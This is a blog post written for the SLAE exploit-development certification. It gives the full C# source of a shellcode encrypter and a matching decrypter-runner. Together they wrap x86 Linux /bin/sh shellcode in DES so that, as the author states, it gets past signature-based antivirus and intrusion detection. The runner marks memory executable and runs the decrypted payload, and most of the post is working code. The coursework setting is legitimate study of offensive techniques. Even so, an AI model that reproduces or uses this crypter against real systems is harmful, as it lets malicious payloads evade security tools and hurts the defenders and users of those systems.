High-level language shellcode encryption on Linux (SLAE, Assignment #7)
Category: Exploit Development
Written on
This post is similar to the custom encoding one I wrote earlier. In this post we will transform the shellcode by means of higher-level programming language. But instead of encoding, this time we will employ encryption.
We all know that inventing your own cryptography algorithm, especially if you aren't a Nobel laureate in cryptography, is a bad idea. Though when the goal is to trick a signature-based anti-virus or intrusion detection system, I would argue that this is not the case. Anyway, to not complicate things and clearly demonstrate the encryption approach, I decided to go with the .NET implementation of the DES algorithm.
My language of choice for this assignment is C#. If you don't know how to execute x86 Linux shellcode from C# application, please, check the link. The solution consists of two programs. The first one is used to encrypt the given shellcode, the second one to decrypt and run it. The decrypter part is based on the C# shellcode execution frame from the aforementioned post.
First comes the source code of the encrypter:
using System;
using System.Security.Cryptography;
using System.Text;
using System.Linq;
class MainClass
{
private static String shellcodeStr = "\x31\xc9\xf7\xe1\x51\x68\x6e\x2f\x73\x68" +
"\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80";
private static Byte[] key = new Byte[8] {1, 2, 3, 4, 5, 6, 7, 8};
private static Byte[] iv = new Byte[8] {1, 2, 3, 4, 5, 6, 7, 8};
private static void Main(string[] args)
{
Byte[] shellcodeBytes = ToShellcodeBytes(shellcodeStr);
Byte[] shellcodeBytesEncrypted = Crypt(shellcodeBytes);
String shellcodeStrEncrypted = ToShellcodeString(shellcodeBytesEncrypted);
Byte[] shellcodeBytesDecrypted = Decrypt(shellcodeBytesEncrypted);
String shellcodeStrDecrypted = ToShellcodeString(shellcodeBytesDecrypted);
Console.WriteLine(
"Original Shellcode ({0} bytes): {1}\n",
shellcodeStr.Length,
ToShellcodeString(ToShellcodeBytes(shellcodeStr)));
Console.WriteLine(
"Encrypted Shellcode ({0} bytes): {1}\n",
shellcodeBytesEncrypted.Length,
shellcodeStrEncrypted);
Console.WriteLine(
"Decrypted Shellcode ({0} bytes): {1}\n",
shellcodeBytesDecrypted.Length,
shellcodeStrDecrypted);
if (shellcodeBytes.SequenceEqual(shellcodeBytesDecrypted))
{
Console.WriteLine("Success: Original and Decrypted shelcodes match.");
}
else
{
Console.WriteLine("Fail: Original and Decrypted shellcodes do NOT match!");
}
}
private static Byte[] Crypt(Byte[] inputBuffer)
{
SymmetricAlgorithm algorithm = DES.Create();
ICryptoTransform transform = algorithm.CreateEncryptor(key, iv);
Byte[] outputBuffer =
transform.TransformFinalBlock(inputBuffer, 0, inputBuffer.Length);
return outputBuffer;
}
public static Byte[] Decrypt(Byte[] inputBuffer)
{
SymmetricAlgorithm algorithm = DES.Create();
ICryptoTransform transform = algorithm.CreateDecryptor(key, iv);
Byte[] outputBuffer =
transform.TransformFinalBlock(inputBuffer, 0, inputBuffer.Length);
return outputBuffer;
}
private static Byte[] ToShellcodeBytes(String shellcode)
{
Byte[] sc_bytes = new Byte[shellcode.Length];
for (Int32 i = 0; i < shellcode.Length; i++)
{
sc_bytes [i] = (Byte) shellcode [i];
}
return sc_bytes;
}
private static String ToShellcodeString(Byte[] shellcodeBytes)
{
StringBuilder shellcodeStr = new StringBuilder ();
for (Int32 i = 0; i < shellcodeBytes.Length; i++)
{
shellcodeStr.Append("\\x");
shellcodeStr.Append(shellcodeBytes [i].ToString("X2"));
}
return shellcodeStr.ToString();
}
}
The shellcode string, initial vector value and the encryption key are all hard-coded into the source. I know that using hard-coded keys and initial vectors is generally a very bad idea, but remember that we are just fooling signature-based software here, not a human analyst. The shellcode used starts the /bin/sh
shell.
After compiling and running the above source code, we will get an output with original, encrypted, and decrypted shellcode strings:
mcs encrypter.cs && ./encrypter.exe
The output will also contain a comparison result of the original and decrypted shellcode strings:
Note that the size of the encrypted strings increased by 3 bytes. This fact may or may not be an issue while writing an exploit for a particular program. If it becomes an issue, some alternative encryption algorithm that does not increase the payload size should be chosen.
The encrypted string from the encrypter's output, along with the same IV and key, is pasted into decrypter source code:
using System;
using System.Runtime.InteropServices;
using Mono.Unix.Native;
using System.Security.Cryptography;
class MainClass
{
private static String shellcodeStrEncrypted = "\x92\x23\xAD\xAF\x0F\x87\xF0"
+ "\x43\x93\xDA\x66\x62\xC4\x98\x2C\xFE\x33\x25\x89\x35\x1C\xC2\xB7\xD1";
private static Byte[] key = new Byte[8] {1, 2, 3, 4, 5, 6, 7, 8};
private static Byte[] iv = new Byte[8] {1, 2, 3, 4, 5, 6, 7, 8};
private static Int32 PAGE_SIZE =
(Int32)Mono.Unix.Native.Syscall.sysconf(SysconfName._SC_PAGESIZE);
private static void Main(string[] args)
{
Byte[] shellcodeBytesEncrypted = ToShellcodeBytes(shellcodeStrEncrypted);
Byte[] shellcodeBytesDecrypted = Decrypt(shellcodeBytesEncrypted);
ExecShellcode(shellcodeBytesDecrypted);
}
private static Byte[] ToShellcodeBytes(String shellcode)
{
Byte[] sc_bytes = new Byte[shellcode.Length];
for (Int32 i = 0; i < shellcode.Length; i++)
{
sc_bytes [i] = (Byte) shellcode [i];
}
return sc_bytes;
}
public static Byte[] Decrypt(Byte[] inputBuffer)
{
SymmetricAlgorithm algorithm = DES.Create();
ICryptoTransform transform = algorithm.CreateDecryptor(key, iv);
Byte[] outputBuffer =
transform.TransformFinalBlock(inputBuffer, 0, inputBuffer.Length);
return outputBuffer;
}
private static IntPtr GetPageBaseAddress(IntPtr p)
{
return (IntPtr)((Int32)p & ~(PAGE_SIZE - 1));
}
private static void MakeMemoryExecutable(IntPtr pagePtr)
{
var mprotectResult = Syscall.mprotect (pagePtr, (ulong)PAGE_SIZE,
MmapProts.PROT_EXEC | MmapProts.PROT_WRITE);
if (mprotectResult != 0)
{
Console.WriteLine ("Error: mprotect failed to make page at 0x{0} " +
"address executable! Result: {1}, Errno: {2}", mprotectResult,
Syscall.GetLastError ());
Environment.Exit (1);
}
}
private delegate void ShellcodeFuncPrototype();
private static void ExecShellcode(Byte[] shellcodeBytes)
{
// Prevent garbage collector from moving the shellcode byte array
GCHandle pinnedByteArray = GCHandle.Alloc(shellcodeBytes, GCHandleType.Pinned);
// Get handle for shellcode address and address of the page it is located in
IntPtr shellcodePtr = pinnedByteArray.AddrOfPinnedObject();
IntPtr shellcodePagePtr = GetPageBaseAddress(shellcodePtr);
Int32 shellcodeOffset = (Int32)shellcodePtr - (Int32)shellcodePagePtr;
Int32 shellcodeLen = shellcodeBytes.GetLength (0);
// Some debugging information
Console.WriteLine ("Page Size: {0}", PAGE_SIZE.ToString ());
Console.WriteLine ("Shellcode address: 0x{0}", shellcodePtr.ToString("x"));
Console.WriteLine ("First page start address: 0x{0}",
shellcodePagePtr.ToString("x"));
Console.WriteLine ("Shellcode offset: {0}", shellcodeOffset);
Console.WriteLine ("Shellcode length: {0}", shellcodeLen);
// Make shellcode memory executable
MakeMemoryExecutable(shellcodePagePtr);
// Check if shellcode spans across more than 1 page; make all extra pages
// executable too
Int32 pageCounter = 1;
while (shellcodeOffset + shellcodeLen > PAGE_SIZE)
{
shellcodePagePtr =
GetPageBaseAddress(shellcodePtr + pageCounter * PAGE_SIZE);
pageCounter++;
shellcodeLen -= PAGE_SIZE;
MakeMemoryExecutable(shellcodePagePtr);
}
// Debug information
Console.WriteLine ("Pages taken by the shellcode: {0}",
pageCounter);
// Make shellcode callable by converting pointer to delegate
ShellcodeFuncPrototype shellcode_func =
(ShellcodeFuncPrototype) Marshal.GetDelegateForFunctionPointer(
shellcodePtr, typeof(ShellcodeFuncPrototype));
shellcode_func(); // Execute shellcode
pinnedByteArray.Free();
}
}
After compiling and running the decrypter
mcs -reference:Mono.Posix decrypter.cs && ./decrypter.exe
we should get output similar to the one shown on the following print screen:
As we can see everything worked out as expected.
This blog post was created to fulfill the requirements of the SecurityTube Linux Assembly Expert certification. Student id: SLAE-685.
The source files created while completing the assignment can be found in my GitHub repository.